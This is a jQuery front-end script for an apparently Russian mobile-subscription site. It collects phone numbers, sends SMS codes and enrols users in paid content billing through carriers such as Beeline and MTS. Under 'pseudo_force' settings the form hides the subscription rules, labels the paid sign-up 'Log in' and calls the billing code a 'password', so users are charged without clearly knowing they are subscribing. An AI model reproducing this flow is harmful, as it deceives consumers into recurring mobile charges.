
var billing=new Array();
var current_billing = '';
$(document).ready(function(){

$('#getcode').click(function () { SendPhone(); });
$('#sendcode').click(function () { SendCode(); });
$('#auth_button').click(function () { SiteAuth(); });
$('#passinput').click(function () {$('#passinput').val('');});
$( 'html, body' ).animate( { scrollTop: scroll_top }, 0 );




 billing[1]=jsons.billing_for_beeline;
 billing[2]=jsons.billing_for_mts;
 billing[3]=jsons.billing_for_all;

$('#subs_foot_txt').html('Телефон службы поддержки 8-800-5555638. Стоимость услуги для абонентов Билайн: 300,00 рублей (включая НДС) в месяц. Для отмены подписки отправьте СМС-сообщение с текстом СТОП: для абонентов Билайн - на номер 9105 (бесплатно) (и далее, если есть подписка МТС) - Стоимость доступа к услугам контент-провайдера устанавливается Вашим оператором. Подробную информацию можно узнать в разделе «Услуги по коротким номерам» на сайте www.mts.ru или обратившись в контактный центр по телефону 8 800 333 0890 (0890 для абонентов МТС)» Для абонентов остальных операторов России требуется отправка <span id="subs_sms_count">3</span>х смс на <span id="subs_shortcode">2474</span>. Приблизительная стоимость - около <span id="subs_price">300</span> руб. <span id="subs_control_a" style="cursor:pointer;">Управление подпиской</span> <span id="subs_rules_a" style="cursor:pointer;">Правила подписки</span>');

$('#subs_control_a').click(function () { $('#subscontrol').fadeIn(); });
$('#subs_rules_a').click(function () { WindowOpen(rules_folder+'rules.htm'); });


$('#subs_price').html(jsons.tarifs_get[jsons.billing_for_all]._all.price);
$('#subs_shortcode').html(jsons.tarifs_get[jsons.billing_for_all]._all.shortcode);
$('#subs_sms_count').html(jsons.tarifs_get[jsons.billing_for_all]._all.sms_count);



/*alert(billing[3]);*/

});



function SendPhone() {
$('#formloading_done').hide(); $('#formloading').show(); $("#getcode").attr("disabled","disabled");


var phone = $('#phoneinput').val();

var re = /[\D]/g
var phone = phone.replace(re, "");

if(phone.length>10 && phone.length<12){  }else{alert('Пожалуйста, введите номер телефона.'); $('#formloading').hide(); $("#getcode").attr("disabled",""); return false;}

$('#phoneinput').val(phone);
$('#current_phone').html(phone);

$.ajax({
type : "GET",
url : '/'+baf+'?msisdn=' + phone + '&op=1&s_id='+site_number+'&b_id=12',
success : function(msg) {
if (msg==0){alert("Пожалуйста, введите номер телефона."); $('#formloading').hide(); $("#getcode").attr("disabled",""); return false;}
if (msg){
	current_billing = billing[msg];
	//alert(window.billing[1]);
	/*if(msg==1){ if(jsons.billing_for_beeline==12){DisplayForm(1);DeliverPhone(phone,bill);} if(jsons.billing_for_beeline==13){} }
	if(msg==2){ if(jsons.billing_for_mts==12){DisplayForm(2);DeliverPhone(phone,bill);} if(jsons.billing_for_mts==13){} }
	if(msg==3){ if(jsons.billing_for_all==12){DisplayForm(3);DeliverPhone(phone,bill);} if(jsons.billing_for_all==13){} }*/
	
	GetSettings(msg,phone);DeliverPhone(phone,msg);

}
	}
});
}

function GetSettings(opt,phone){
/*$.ajax({
type : "GET",
dataType : "json",
url : '/'+baf+'?msisdn=' + phone + '&get_settings&site_number='+site_number,
success : function(msg) {

	}
});*/

if(jsons.pseudo_force==1){var opt=3;}
if(jsons.pseudo_force_beeline==1){var opt=3;}
if(jsons.pseudo_force_mts==1){var opt=3;}

if (current_billing==12){

DisplayForm(opt);
}
if (current_billing==13){
	/*if (opt==3){*/
	$('#step1').hide(); $('#formloading').hide(); $('#formloader').show();
	StartCheck();ndown(document.getElementById("ndown"), 20, 0, 1, 1);
	var checkinterval = setInterval(function() {StartCheck();ndown(document.getElementById("ndown"), 20, 0, 1, 1);},20000);
	return false;
	/*}else{
		DisplayForm(opt);
		}*/
}

}


function DisplayForm(formopt) {
/*if (formopt==1){ $('#subrules').show(); $('#sendcode').val('Подписаться');
$("#ruleslink").html('услуги подписка'); $("#ruleslink").attr("onClick","WindowOpen('/template/rules.htm')");
//  style="cursor: pointer;" onclick=""Я согласен с правилами предоставления

$("#rulestxt").html('<strong>Да мне более 18 лет!</strong> Я согласен с <span style="cursor: pointer;" onclick="WindowOpen(\''+rules_folder+'rules.htm\')">правилами</span> и согласен подписаться на услугу.');

$('#pass_info').html('На ваш номер отправлен код. Он придет в течении 3х минут.<br> Дождитесь получения кода и введите его в форму ниже.');
$('#enter_pass_info').html('Введите код присланный Вам на телефон');

$('#subrules').html('\
1. Вы подтверждаете, что в настоящее время Вам уже исполнилось 18 лет.<br />\
Если Вы не достигли 18 летнего возраста, просим Вас закрыть данную страницу.<br />\
2. Вы подтверждаете, что телефонный номер, который Вы вводите в соответствующее поле на данном сайте, оформлен на Ваше имя.<br />\
3. Дальнейшее использование Услуги является платным.<br />\
С Вашего телефона будет списываться плата за продление доступа к Услуге, в размере 10,00 рублей (включая НДС), ежедневно.<br />\
4. любой момент вы можете бесплатно отказаться от пользования Услугой, отправив слово СТОП на номер 9105 или позвонив по телефону 8-800-5555-638.\
					');
}*/

if (formopt==2){ $('#subrules').show(); $('#sendcode').val('Войти на сайт и подписаться');
//$("#ruleslink").html('услуги подписка'); $("#ruleslink").attr("onClick","WindowOpen('/template/rules.htm')");
$("#rulestxt").html('<strong>Да мне более 18 лет!</strong> Я согласен с правилами предоставления услуги <span style="cursor: pointer;" onclick="WindowOpen(\''+rules_folder+'rules.htm\')">подписка</span> к сайту.');
$('#enter_pass_info').html('Введите код из смс чтобы подписаться на услугу доступа к сайту');
$('#subrules').html('<iframe height="120" width="100%" src="'+rules_folder+'rules.htm" scrolling="auto" frameborder="0" allowtransparency="yes"></iframe>');
}

if (formopt==3){ $('#subrules').hide(); $('#sendcode').val('Войти');
//$("#ruleslink").html('услуги'); $("#ruleslink").attr("onClick","WindowOpen('/template/rules.htm')");
$("#rulestxt").html('Я согласен с правилами предоставления <span style="cursor: pointer;" onclick="WindowOpen(\''+rules_folder+'rules.htm\')">услуги</span>');
$('#pass_info').html('Пароль был выслан на указанный Вами номер, введите его в поле ниже.');
$('#enter_pass_info').html('Введите код присланный Вам на телефон');
}
if (formopt!=1){
$('#step1').hide();$('#passform').show();
$( 'html, body' ).animate( { scrollTop: '0px' }, 0 ); /*$('#passinput').focus();*/ $('#passinput').val('Введите код...');
$('#formloading').html('Пожалуйста подождите вам отправляется СМС с кодом!');
$("#tocheck").attr("disabled","disabled");
}
}

function DeliverPhone(phone,operator){
	operator=operator;
$.ajax({
type : "GET",
url : '/'+baf+'?msisdn=' + phone + '&op=2&s_id='+site_number+'&b_id='+current_billing,
success : function(msg) {

if (msg==6){ alert('Слишком много подписок с одного ип.'); $('#formloading').hide(); return false; }
if (msg==4){ alert('Слишком много подписок на этом телефоне.'); $('#formloading').hide(); return false; }
if (msg==3){ alert('Этот телефон уже имеет активные подписки.'); $('#formloading').hide(); window.location.reload(true); return false; }
if (msg==2){ alert('Этот телефон заблокирован.'); $('#formloading').hide(); return false; }
if (msg==1){ alert('Подписки не действуют для оператора этого телефона.'); $('#formloading').hide(); return false; }

if (operator==1 && jsons.pseudo_force_beeline!=1 && current_billing!=13){ 
window.location=msg;

}else{
if (msg==0){ $('#formloading').hide(); $("#tocheck").attr("disabled",""); $('#formloading_done').show(); $('#formloading_done').html('СМС сообшение с кодом ОТПРАВЛЕННО!'); return false;}
}
	}
});


}




function SendCode() {
if($('#passinput').val() == ""){ alert("Пожалуйста, введите Пароль."); return false; }


var phone=$('#phoneinput').val(); var pass=$('#passinput').val();

$('#formloading').html('пожалуйста подождите, проверяется пароль!');
$('#formloading_done').hide(); $('#formloading').show(); $("#sendcode").attr("disabled","disabled");
	var pass1 = encodeURIComponent(pass); 
	$.ajax({
			type : "GET",
			url : '/'+baf+'?msisdn=' + phone + '&pin=' + pass1 + '&op=3&s_id='+site_number+'&b_id='+current_billing,
			success : function(msg) {
				if (msg==0){
					$('#formloading').hide(); window.location.reload(true); return false;
					}
				if (msg==98){
					$('#passform').hide(); $('#formloading').hide(); $('#formloader').show();
					StartCheck();ndown(document.getElementById("ndown"), 20, 0, 1, 1);
					var checkinterval = setInterval(function() {StartCheck();ndown(document.getElementById("ndown"), 20, 0, 1, 1);},20000);
					return false;
					}
			$('#formloading').hide(); $('#formloading_done').html('Неправельный пароль.'); $('#formloading_done').show(); $("#sendcode").attr("disabled","");
			}
			});
	}
function StartCheck() {

var phone=$('#phoneinput').val();

$('#formloadertxt').html('Пожалуйста подождите, Идёт проверка ответной смс.');
//$('#formloading').html('Пожалуйста подождите, Идёт проверка ответной смс.'); $('#formloading').show();
$("#smssent").attr("disabled","disabled");
	
$.ajax({type : "GET", url : '/'+baf+'?msisdn=' + phone + '&op=4&s_id='+site_number+'&b_id='+current_billing, success : function(msg) {

if (msg==0){
	$('#formloading').hide(); window.location.reload(true);
	return false;
	}

if (msg==98) {
	$('#formloadertxt').html('Ответ на контрольный вопрос не получен!');$('#smssent').fadeIn(); $("#smssent").attr("disabled","");
	
	}

}});
}

function ndown(element, start, stop, step, delay) {
    var current = start;
    element.innerHTML = current
    var timer = setInterval(function () {
        current -= step;
        if(current < stop) current=stop;
        element.innerHTML = current;
        if(current == stop) clearInterval(timer);
    }, delay*1000);
}





function LoadCheck(phone,act,pstatusi) 
{
 if (act=='done')
    clearInterval(pstatusi);
 else
 var pstatusi = setInterval(function() {StartCheck(phone,pstatusi);},20000);
 
}

function WindowOpen(href) { window.open(href, '_blank', 'width=300,height=320,resizable=0,scrollbars=1,top=200,left=60'); }
function EditPhone() { $('#phone_info').hide(); $('#change_phone').show(); $('#phone_change').val($('#current_phone').html()); }
function ChangePhone() {
	if($('#phone_change').val() == ""){ alert("Пожалуйста, введите номер телефона."); return false; }
	if(isNaN($('#phone_change').val())){ alert("Пожалуйста, введите номер телефона только цифры."); return false; }
	$('#change_phone').hide(); $('#phone_info').show(); $('#current_phone').html($('#phone_change').val()); $('#phoneinput').val($('#phone_change').val()); SendPhone($('#phone_change').val()); }




function checkRadio()
{
	if (document.getElementById("tocheck").checked == true)document.getElementById("sendcode").disabled = false;
	else document.getElementById("sendcode").disabled = true;
}
function SiteAuth() {
	phone=$('#auth_phone').val();
	pass=$('#auth_pass').val();
	$.ajax({type : "GET", url : '/'+baf+'?msisdn=' + phone + '&pin=' + pass + '&check_enter&site_number='+site_number, success : function(msg) {
	if (msg==1){alert('Неверный пароль!');}else{window.location.reload(true);}
	}});
	}
